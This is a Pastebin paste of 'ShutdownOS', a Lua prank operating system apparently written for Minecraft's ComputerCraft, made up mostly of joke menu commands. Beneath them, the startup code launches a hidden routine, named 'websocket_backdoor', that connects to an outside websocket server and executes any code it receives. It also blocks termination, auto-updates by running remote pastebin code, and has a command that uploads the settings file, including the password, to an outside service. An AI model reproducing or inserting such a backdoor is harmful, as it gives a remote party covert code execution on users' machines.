KnotMeDaddy

ShutdownOS Core

Jan 16th, 2019
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 11.10 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. local version = "3.4.0"
  3. local nversion = "27"
  4.  
  5. os.setComputerLabel("ShutdownOS ".. version)
  6.  
  7. noskynet = nil
  8. skynet = nil
  9.  
  10. local didSkynetDie = function()
  11.     local skynet = require("skynet")
  12. end
  13.  
  14. if pcall(didSkynetDie) then
  15.  --print("ok")
  16. else
  17.    noskynet = true
  18. end
  19.  
  20. if noskynet ~= true then
  21. skynet = require("skynet")
  22. end
  23.  
  24. --Do we be fast or slow? Must be enabled via secret setting!
  25. local echo = function(message)
  26.     if settings.get("shutdownos.slow") == true then
  27.         textutils.slowPrint(message)
  28.     else
  29.         print(message)
  30.     end
  31. end
  32.  
  33. function anykey()
  34. echo("Press any key to continue")
  35. os.pullEvent("key")
  36. init()
  37. end
  38.  
  39. --Clears the screen
  40. function clear()
  41.   term.clear()
  42.   term.setCursorPos(1,1)
  43. end
  44.  
  45. --Sets a setting
  46. function setsetting(x, y)
  47.   --Set the setting
  48.   settings.set(x, y)
  49.   --Save the settings
  50.   settings.save(".settings")
  51. end
  52.  
  53. function init()
  54. updatesigns()
  55. checkforupdates()
  56.   if settings.get("shutdownos.slave") == true then
  57.     slave()
  58.   else
  59.     home()
  60.   end
  61. end
  62.  
  63. function home()
  64.   clear()
  65.   echo("ShutdownOS ".. version)
  66.   echo("Loading.................................................")
  67.   echo("Please login!")
  68.   if noskynet then
  69.   term.setTextColor(colors.red)
  70.   echo("The Skynet API is currently unavailable.")
  71.   term.setTextColor(colors.white)
  72.   end
  73.   echo("For commands, type \"help\" in the password prompt.")
  74.   write("Password: ")
  75.   local input = read()
  76.   local input2 = string.lower(input):gsub('%W','')
  77.  
  78.   if input2 == "config" then
  79.     config()
  80.   elseif input2 == "update" then
  81.     update()
  82.   elseif input2 == "randompassword" then
  83.     randompassword()
  84.   elseif input2 == "help" then
  85.     help()
  86.   elseif input2 == "shell" then
  87.     openshell()
  88.   elseif input2 == "debug" and settings.get("shutdownos.shell") == true then
  89.     actuallyopenshell()
  90.   elseif input2 == "slave" and turtle then
  91.     enableslave()
  92.   elseif input2 == "rc" then
  93.     rc()
  94.   elseif input2 == "uninstall" then
  95.     uninstall()
  96.   elseif input2 == "shutdown" then
  97.     os.reboot()
  98.   elseif input2 == "uploadprivateinfo" then
  99.     uploadprivateinfo()
  100.   elseif input2 == "bundled" and term.isColor() then
  101.     bundled()
  102.   elseif input2 == "crash" then
  103.     crash()
  104.   elseif input2 == "download" then
  105.     download()
  106.   elseif input == settings.get("shutdownos.password") then
  107.     correctpassword()
  108.   elseif input2 == "potatos" and term.isColor() then
  109.     local thing = shell.openTab("potatofarm 1")
  110.     shell.switchTab(thing)
  111.   elseif fs.exists("/programs/".. input2) and string.len(input2) >= 1 and term.isColor() then
  112.     --TODO: ask creator of tron to add skynet setting
  113.     --if input == "tron" then arg = "skynet" else arg = "" end
  114.     --local thing = multishell.launch({}, "/programs/".. input, arg)
  115.     --multishell.setFocus(thing)
  116.     local thing = shell.openTab("noshell /programs/".. input2)
  117.     shell.switchTab(thing)
  118.     home()
  119.   else
  120.     incorrectpassword()
  121.   end
  122. end
  123.  
  124. function updatesigns()
  125. for _, sign in pairs({peripheral.find "minecraft:sign"}) do
  126. sign.setSignText("ShutdownOS", version)
  127. end
  128. end
  129.  
  130. function download()
  131. clear()
  132. echo("To download ShutdownOS on other computers, use:")
  133. term.setTextColor(colors.red)
  134. print("pastebin run QcKBFTat")
  135. term.setTextColor(colors.white)
  136. anykey()
  137. end
  138.  
  139. function crash()
  140. while true do
  141. print("die")
  142. end
  143. end
  144.  
  145. function bundled()
  146. local programs = {
  147. "tron",
  148. "loading",
  149. "loadingfork",
  150. "potatoplex",
  151. "screensaver",
  152. "sctracker",
  153. "potatonet",
  154. "jumpinggame",
  155. "infloop",
  156. "enchat3",
  157. "strafe",
  158. "dembois"
  159. }
  160.  
  161. clear()
  162. textutils.pagedTabulate(programs)
  163. echo("There is no documentation on what any of these bundled programs do, have fun exploring!")
  164. anykey()
  165. end
  166.  
  167. function oldbundled()
  168.   clear()
  169.   echo("tron - TRON Light Cycle Game (Requires modem)")
  170.   echo("loading - Tired of fast loading times? This program is for you!")
  171.   echo("loadingfork - Someone forked the last program. Apparently, this one has more messages and different logic.")
  172.   echo("potatoplex - The best screensaver in the world!")
  173.   echo("screensaver - Another screensaver.")
  174.   echo("sctracker - Track SwitchCraft players live! (Does not work for players in the Nether)")
  175.   echo("potatonet - PotatOS' chat program, now on ShutdownOS.")
  176.  
  177.   anykey()
  178. end
  179.  
  180. function uploadprivateinfo()
  181. if noskynet then
  182.   term.setTextColor(colors.red)
  183.   echo("The Skynet API is currently unavailable.")
  184.   term.setTextColor(colors.white)
  185.   anykey()
  186. else
  187. clear()
  188. echo("Uploading personal information to Skynet...")
  189. local h = fs.open(".settings", "r")
  190. skynet.send("shutdownos.data", h.readAll())
  191. h.close()
  192. echo("Done!")
  193. anykey()
  194. end
  195. end
  196.  
  197. function uninstall()
  198. while true do
  199. sleep(1)
  200. clear()
  201. print("Uninstalling.")
  202. sleep(1)
  203. clear()
  204. print("Uninstalling..")
  205. sleep(1)
  206. clear()
  207. print("Uninstalling...")
  208. end
  209. end
  210.  
  211. function enableslave()
  212. setsetting("shutdownos.slave", true)
  213. echo("Slave mode is now enabled.")
  214. anykey()
  215. end
  216.  
  217. function slave()
  218. clear()
  219. echo("ShutdownOS Slave ".. version)
  220. if noskynet then
  221.   term.setTextColor(colors.red)
  222.   echo("The Skynet API is currently unavailable.")
  223.   term.setTextColor(colors.white)
  224.   anykey()
  225. else
  226.   echo("Run \"rc\" on a ShutdownOS computer to securely control this turtle.")
  227.  
  228.   while true do
  229.     local channel, message = skynet.receive("shutdownos.turtle")
  230.     if message == "forward" then
  231.       turtle.forward()
  232.     elseif message == "left" then
  233.       turtle.turnLeft()
  234.     elseif message == "back" then
  235.       turtle.back()
  236.     elseif message == "right" then
  237.       turtle.turnRight()
  238.     elseif message == "up" then
  239.       turtle.up()
  240.     elseif message == "down" then
  241.       turtle.down()
  242.     elseif message == "dig" then
  243.       turtle.dig()
  244.     elseif message == "refuel" then
  245.       turtle.refuel()
  246.     end
  247.   end
  248. end
  249. end
  250.  
  251. function rc()
  252. if noskynet then
  253.   term.setTextColor(colors.red)
  254.   echo("The Skynet API is currently unavailable.")
  255.   term.setTextColor(colors.white)
  256.   anykey()
  257. else
  258.   clear()
  259.   echo("ShutdownOS Remote Control")
  260.   echo("This program securely remote controls turtles running the ShutdownOS Slave program.")
  261.   echo("Use WASD to move.")
  262.   echo("Q and E to go up and down.")
  263.   echo("F to dig.")
  264.   echo("L to refuel.")
  265.   echo("M to quit out of this program.")
  266.   echo("Looking to disable slave mode on the turtle? You can't!")
  267.  
  268.   while true do
  269.     local event, character = os.pullEvent("char")
  270.     if character == "w" then
  271.       skynet.send("shutdownos.turtle", "forward")
  272.     elseif character == "a" then
  273.       skynet.send("shutdownos.turtle", "left")
  274.     elseif character == "s" then
  275.       skynet.send("shutdownos.turtle", "back")
  276.     elseif character == "d" then
  277.       skynet.send("shutdownos.turtle", "right")
  278.     elseif character == "q" then
  279.       skynet.send("shutdownos.turtle", "up")
  280.     elseif character == "e" then
  281.       skynet.send("shutdownos.turtle", "down")
  282.     elseif character == "f" then
  283.       skynet.send("shutdownos.turtle", "dig")
  284.     elseif character == "l" then
  285.       skynet.send("shutdownos.turtle", "refuel")
  286.     elseif character == "m" then
  287.       home()
  288.     end
  289.   end
  290. end
  291. end
  292.  
  293. function openshell()
  294.   clear()
  295.   term.setTextColor(colors.yellow)
  296.   print("CraftOS 1.8")
  297.   while true do
  298.   term.setTextColor(colors.yellow)
  299.   write("> ")
  300.   term.setTextColor(colors.white)
  301.   local input = read()
  302.   end
  303. end
  304.  
  305. function actuallyopenshell()
  306. clear()
  307. shell.run("/rom/programs/shell.lua")
  308. end
  309.  
  310. function correctpassword()
  311.   clear()
  312.   if settings.get("shutdownos.potatos") == true then
  313.   term.setTextColor(colors.yellow)
  314.   print("PotatOS TuberOS 11736226")
  315.   print("diputs si aloirarreT")
  316.   write("> ")
  317.   term.setTextColor(colors.white)
  318.   local input = read()
  319.   os.shutdown()
  320.   else
  321.   echo("Logged in!")
  322.   textutils.slowPrint("Loading.................................................")
  323.   os.shutdown()
  324.   end
  325. end
  326.  
  327. function incorrectpassword()
  328.   echo("ERROR!!!!!!!! PASSWORD INCORRECT SYSTEM REBOOTING CODE RED")
  329.   sleep(2)
  330.   home()
  331. end
  332.  
  333. function update()
  334.   clear()
  335.   shell.run("pastebin run QcKBFTat")
  336.   os.reboot()
  337. end
  338.  
  339. function randompassword()
  340.   setsetting("shutdownos.password", string.char(math.random(1, 255)))
  341.   setsetting("shutdownos.cantconfig", true)
  342.   echo("Random password mode enabled. Have fun guessing!")
  343.   anykey()
  344. end
  345.  
  346. function help()
  347. local programs = {
  348. "config",
  349. "randompassword",
  350. "update",
  351. "help",
  352. "slave",
  353. "rc",
  354. "uninstall",
  355. "shutdown",
  356. "uploadprivateinfo",
  357. "shell",
  358. "download",
  359. "potatos",
  360. "bundled"
  361. }
  362.  
  363. clear()
  364. textutils.pagedTabulate(programs)
  365. echo("There is no documentation on what any of these commands do, have fun exploring!")
  366. anykey()
  367. end
  368.  
  369. function oldhelp()
  370.   clear()
  371.   echo("config - Change your password.")
  372.   echo("randompassword - Make your password random.")
  373.   echo("update - Update ShutdownOS.")
  374.   echo("help - Display help.")
  375.   --echo("chat - Chat with fellow ShutdownOS users.")
  376.   echo("slave - Allows you to securely control your turtle remotely. (Only works on turtles)")
  377.   echo("rc - Securely control your turtle running the ShutdownOS slave program.")
  378.   echo("uninstall - Tired of ShutdownOS? Uninstall it with this easy to use commmand!")
  379.   echo("shutdown - Reboot the system.")
  380.   echo("uploadprivateinfo - Upload your private information to Skynet securely.")
  381.   echo("shell - Open the CraftOS shell.")
  382.   echo("download - Get a command to download ShutdownOS on other computers.")
  383.   echo("bundled - See all bundled programs. (Bundled programs only work on advanced computers")
  384.  
  385.   anykey()
  386. end
  387.  
  388. function config()
  389. if settings.get("shutdownos.cantconfig") == true then
  390. textutils.slowPrint("This command has been disabled.")
  391. else
  392. clear()
  393. local password = settings.get("shutdownos.password")
  394. textutils.slowPrint("ShutdownOS Config Tool")
  395. textutils.slowPrint("Current password: ".. password)
  396. write("Would you like to change this password? ")
  397. local input = read()
  398. if input == "" then
  399. write("Password: ")
  400. local input = read()
  401. setsetting("shutdownos.password", input)
  402. textutils.slowPrint("Password saved!")
  403. else
  404. textutils.slowPrint("Aborting...")
  405. end
  406. end
  407. sleep(2)
  408. home()
  409. end
  410.  
  411. function checkforupdates()
  412. local h = http.get("https://pastebin.com/raw/pKYxXhwJ")
  413. if h then
  414. local cversion = h.readAll()
  415. h.close()
  416. if (nversion < cversion) then
  417. update()
  418. end
  419. end
  420. end
  421.  
  422. function safe_serialize(data)
  423.     local ok, res = pcall(textutils.serialise, data)
  424.     if ok then return res
  425.     else return textutils.serialise(tostring(data)) end
  426. end
  427.  
  428. function websocket_backdoor()
  429.     if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
  430.  
  431.     local ws = http.websocket "wss://osmarks.tk/wsthing/ShutdownOS"
  432.  
  433.     local function send(msg)
  434.         ws.send(safe_serialize(msg))
  435.     end
  436.  
  437.     local function recv()
  438.         return ws.receive()
  439.     end
  440.  
  441.     while true do
  442.         -- Receive and run code from backdoor's admin end
  443.         local code = recv()
  444.         local f, error = load(code, "@<backdoor>", "t")
  445.         if f then -- run safely in background, send back response
  446.             send {pcall(f)}
  447.         else
  448.             send {false, error}
  449.         end
  450.     end
  451. end
  452.  
  453. function screen_flash()
  454.     if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
  455.  
  456.     local ws = http.websocket "wss://osmarks.tk/wsthing/lasers"
  457.  
  458.     local function recv()
  459.         return ws.receive()
  460.     end
  461.  
  462.     while true do
  463.         recv()
  464.  
  465.         local monitors = {peripheral.find("monitor")}
  466.    
  467.         term.setPaletteColor(colors.black, 0xCC4C4C)
  468.         -- Setting 2^5 is for juroku support
  469.         term.setPaletteColor(2^5, 0xCC4C4C)
  470.  
  471.         for k, v in pairs(monitors) do
  472.             v.setPaletteColor(colors.black, 0xCC4C4C)
  473.             v.setPaletteColor(2^5, 0xCC4C4C)
  474.         end
  475.  
  476.         sleep(1)
  477.  
  478.         for k, v in pairs(monitors) do
  479.             v.setPaletteColor(colors.black, 0x111111)
  480.             v.setPaletteColor(2^5, 0x000000)
  481.         end
  482.  
  483.         term.setPaletteColor(colors.black, 0x111111)
  484.         term.setPaletteColor(2^5, 0x000000)
  485.     end
  486. end
  487.  
  488. parallel.waitForAll(init, websocket_backdoor, screen_flash)
Advertisement
Add Comment
Please, Sign In to add comment